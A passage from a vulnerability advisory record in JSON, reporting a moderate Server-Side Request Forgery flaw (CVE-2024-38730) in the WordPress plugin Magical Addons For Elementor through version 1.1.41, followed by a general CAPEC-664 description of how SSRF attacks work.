    "nvd_published_at": "2024-07-22T11:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor.This issue affects Magical Addons For Elementor: from n/a through 1.1.41.",
  "id": "GHSA-4x9j-cjq3-hxhf",
  "modified": "2024-07-22T12:30:38Z",
  "published": "2024-07-22T12:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38730"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/magical-addons-for-elementor/wordpress-magical-addons-for-elementor-plugin-1-1-40-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.